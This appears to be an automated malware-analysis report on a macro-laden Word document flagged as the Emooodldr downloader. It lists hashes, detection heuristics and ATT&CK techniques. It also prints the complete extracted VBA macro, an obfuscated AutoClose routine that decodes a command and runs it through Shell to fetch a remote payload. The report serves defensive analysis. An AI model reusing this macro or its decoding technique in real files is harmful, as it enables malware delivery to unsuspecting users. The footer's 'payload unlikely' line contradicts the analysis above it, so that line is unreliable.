Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 b6cb8872c9c83693…

MALICIOUS

Office (OOXML)

53.8 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-03-10
MD5: 051db7e12077819ba14e6ac0fb63102e SHA-1: c5e582b4fda04883c2fead58c5876b30a83c04f8 SHA-256: b6cb8872c9c836932cc4d9fa84c217f8cdd2e840d5f1f34441d572aaccf6c844
282 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The AutoClose macro is present and uses the Shell() function to execute a command. The ClamAV detection name 'Doc.Malware.Emooodldr-6711604-0' strongly suggests the Emooodldr family, which is known for downloading and executing second-stage payloads. The VBA script, though partially obfuscated, appears to construct and execute a command, likely to fetch and run additional malware.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2087 bytes
SHA-256: 14c630582c91819d5effc7262f8704443f4d4fdebf8cea28648f6bd678c59db6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function proconsulates(antiendowment)
  toxodont = Array("q", "7", "e", "3", "K", "x", "j", "n", "u", "C", "L", "d", "N", "c", "6", "W", "P", "R", "1", "s", "v", "l", "U", "h", "5", "T", "E")
  guaranties = Array("o", "m", "f", "x", "e", "w", "d", "i", "j", "s", "h", "n", "?", ".", "a", "/", "P", "t", "p", "u", ":", "q", "G", " ", "R", "=", "c")
  
  cystitis = vbNullString
  
  For Each spectator In antiendowment
    professionalize = drum(spectator, toxodont)
    If professionalize > -1 Then
    cystitis = guaranties(professionalize) + cystitis
    End If
  Next
  
  proconsulates = StrReverse(cystitis)
  
End Function

Public Function drum(modulators, blusteringly)
  palau = 5521
  smallpoxes = 7919
  For palau = 0 To UBound(blusteringly)
    If blusteringly(palau) = modulators And palau > -1 Then
     smallpoxes = palau
    End If
  Next

  If smallpoxes = 7919 Then
    smallpoxes = -1
  End If
  
  drum = smallpoxes
End Function


Sub AutoClose()
  antiendowment = Array("7", "C", "L", "R", "6", "c", "K", "3", "K", "h", "L", "R", "R", "1", "v", "W", "W", "n", "u", "j", "l", "d", "x", "j", "l", "s", "x", "j", "q", "6", "C", "n", "j", "u", "c", "E", "q", "7", "W", "5", "P", "U", "W", "C", "q", "e", "c", "1", "L", "1", "N", "s", "R", "7", "6", "T", "q", "1", "C", "6")
  anemometry = proconsulates(antiendowment)
  
  Application.Run "basoche", (anemometry)
  
End Sub


Private Sub basoche(senescent)
   
   uninhabitability = 16202
   xenoliths = True
   
   While xenoliths
     idolomania = uninhabitability + 717
     If idolomania - uninhabitability > 1 Then
       cacciatore = netters + "ll"
       Call VBA.Shell(senescent, vbNormalFocus - 1)
       xenoliths = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: c2f9c51056424b7397af3d373292561162af9c3be883e285ff4e64974d78ac69
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: unlikely